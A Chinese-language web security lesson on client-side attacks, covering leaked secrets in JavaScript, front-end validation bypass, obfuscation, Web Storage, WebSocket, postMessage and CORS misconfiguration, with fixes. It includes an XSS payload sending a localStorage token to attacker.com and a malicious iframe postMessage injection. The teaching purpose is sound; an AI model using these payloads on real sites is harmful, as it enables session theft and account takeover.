客户端攻击

客户端安全往往被忽视，但也有很多不可忽视的安全问题。JavaScript代码可能泄露敏感信息，HTML5的新特性可能带来新的攻击面，浏览器的信任模型可能被利用。

JavaScript安全分析

前端JavaScript代码运行在客户端，任何人都可以查看。如果开发人员不小心将敏感信息写在JavaScript代码中，这些信息就会暴露给所有访问者。

假设一个系统的前端代码中包含了这样的配置：

|
// config.js
const API_KEY = 'sk_live_abc123def456';
const DB_HOST = 'internal-db.example.com';
const ADMIN_URL = 'https://admin.internal.example.com';

这些信息本不应该出现在前端代码中。API密钥可能被滥用，内部数据库地址可能被用于进一步攻击，管理员后台地址可能被直接访问。攻击者只需要查看页面源码，或者在浏览器开发者工具的Sources面板中查看JavaScript文件，就能获取这些敏感信息。

发现这类问题的方法包括：查看页面源码、分析JavaScript文件、使用浏览器开发者工具、使用工具如retire.js扫描过时的JavaScript库。

客户端验证绕过

客户端验证只能提升用户体验，不能作为安全措施。如果系统只在前端验证，后端不验证，攻击者就可以轻易绕过。

假设一个系统的管理功能在前端检查用户是否是管理员：

|
// 前端代码
if (user.role !== 'admin') {
    alert('Access denied');
    return;
}
fetch('/api/admin/users');

这段代码的问题是：如果用户不是管理员，前端会阻止请求。但攻击者可以修改JavaScript代码，删除这个检查，或者直接调用API接口，绕过前端验证。如果后端没有验证用户权限，攻击者就能访问管理员功能。

正确的做法是：前端验证只用于提升用户体验（比如提前提示错误），后端必须进行权限验证，拒绝未授权的请求。

代码混淆与反混淆

为了保护代码，很多系统会对JavaScript代码进行混淆。但混淆不是加密，只是让代码难以阅读，不能防止被分析。

假设一个系统的JavaScript被混淆成这样：

|
var _0x1a2b=['log','Hello','World'];console[_0x1a2b[0]](_0x1a2b[1]);

虽然看起来难以理解，但通过反混淆工具（如de4js在线反混淆、js-beautify代码美化），或者直接在浏览器开发者工具中查看执行后的代码，就能还原出原始逻辑：

|
console.log('Hello');

更重要的是，即使代码被混淆，在浏览器中执行时，JavaScript引擎会解析并执行代码。攻击者可以在浏览器开发者工具的Console中直接执行代码，或者设置断点调试，观察代码的执行流程。所以，混淆只能增加分析成本，不能防止分析。

![图片描述：一个展示HTML5安全问题的示意图，包含Web Storage、WebSocket、PostMessage等HTML5特性的安全问题]

HTML5安全问题

Web Storage安全

HTML5提供了LocalStorage和SessionStorage用于客户端存储。虽然这些存储受同源策略保护，但如果存在XSS漏洞，攻击者就可以读取Storage中的数据。

假设一个系统在LocalStorage中存储了用户的认证token：

|
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');

如果系统存在XSS漏洞，攻击者可以注入恶意代码来窃取token：

|
// XSS Payload
var token = localStorage.getItem('token');
var img = new Image();
img.src = 'http://attacker.com/steal?token=' + token;

这段代码会读取LocalStorage中的token，然后通过图片请求发送到攻击者的服务器。即使token是HttpOnly的Cookie，如果同时存储在LocalStorage中，也会被XSS窃取。

另一个问题是敏感信息不应该存储在Storage中。即使没有XSS，如果用户在同一台电脑上使用多个应用，或者浏览器被恶意软件感染，Storage中的数据也可能被读取。

WebSocket安全

WebSocket提供了全双工通信，但如果认证机制不当，就可能被滥用。

假设一个系统使用WebSocket进行实时通信，但WebSocket连接没有认证，任何人都可以连接并发送消息。攻击者就可以连接到WebSocket服务器，发送恶意消息，或者监听所有通信内容。

即使有认证，如果消息内容没有验证，攻击者也可能发送恶意数据，导致服务器端处理错误。另外，WebSocket请求也可能被CSRF攻击，如果系统没有适当的防护措施。

PostMessage安全

PostMessage允许不同窗口之间进行跨域通信，但如果接收方不验证消息来源，就可能接收恶意消息。

假设一个系统使用PostMessage进行跨窗口通信：

|
// 父窗口
window.addEventListener('message', function(event) {
    // 没有验证Origin
    if (event.data.action === 'update') {
        updateContent(event.data.content);
    }
});

这段代码的问题是：没有验证消息来源（event.origin）。攻击者可以在恶意网站中嵌入一个iframe，加载目标网站，然后向iframe发送恶意消息：

|
<!-- 恶意网站 -->
<iframe src="https://example.com"></iframe>
<script>
var iframe = document.querySelector('iframe');
iframe.contentWindow.postMessage({
    action: 'update',
    content: '<script>alert("XSS")</script>'
}, '*');
</script>

由于父窗口没有验证Origin，会执行恶意内容，可能导致XSS攻击。正确的做法是验证event.origin，只接受来自可信域的消息。

浏览器信任模型利用

同源策略绕过

同源策略是浏览器的重要安全机制，但配置错误可能导致绕过。

假设一个系统的CORS配置是这样的：

|
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

这个配置有问题：Allow-Origin: *和Allow-Credentials: true不能同时使用。根据规范，如果允许凭证，就不能使用通配符。但某些旧版浏览器可能允许这种配置，导致安全风险。

正确的配置应该是：如果允许凭证，必须明确指定允许的域名，不能使用通配符。

信任关系利用

子域名之间的信任关系也可能被利用。假设主域名是example.com，API域名是api.example.com，CORS配置允许*.example.com访问API。

攻击者可以注册一个子域名attacker.example.com（如果主域名允许子域名注册，或者攻击者控制了某个子域名），在这个子域名中构造恶意页面，利用CORS配置访问API。由于attacker.example.com匹配*.example.com，浏览器会允许跨域请求，攻击者就可以在恶意页面中调用API，窃取用户数据。

这种攻击的前提是攻击者能够控制一个匹配通配符的子域名。但在某些情况下（比如主域名允许用户注册子域名，或者某个子域名被攻击者控制），这种攻击是可行的。

总结

本部分我们一起深入探讨了客户端攻击这个主题。也许在日常开发和测试中，大家有时候会觉得“客户端安全没那么重要”，但其实这里问题不少――比如JavaScript代码可能会暴露敏感信息，前端的校验很容易被绕过，哪怕加了混淆，也挡不住有心之人去分析。 而且，HTML5的一些便捷功能（比如Web Storage、WebSocket、PostMessage）如果用不好，很容易被攻击者利用。浏览器本身虽然有同源策略和CORS等安全机制，但一旦配置不当，也会留下可乘之机。

其实，客户端安全和后端安全同等重要，只是它经常被“忽略”。希望通过本节课的内容，你能对前端安全问题有更清晰也更警觉的认识。

下一节课，我们要进入应用架构层面的安全话题，那里有可能影响面更大的风险和漏洞，值得我们继续深入！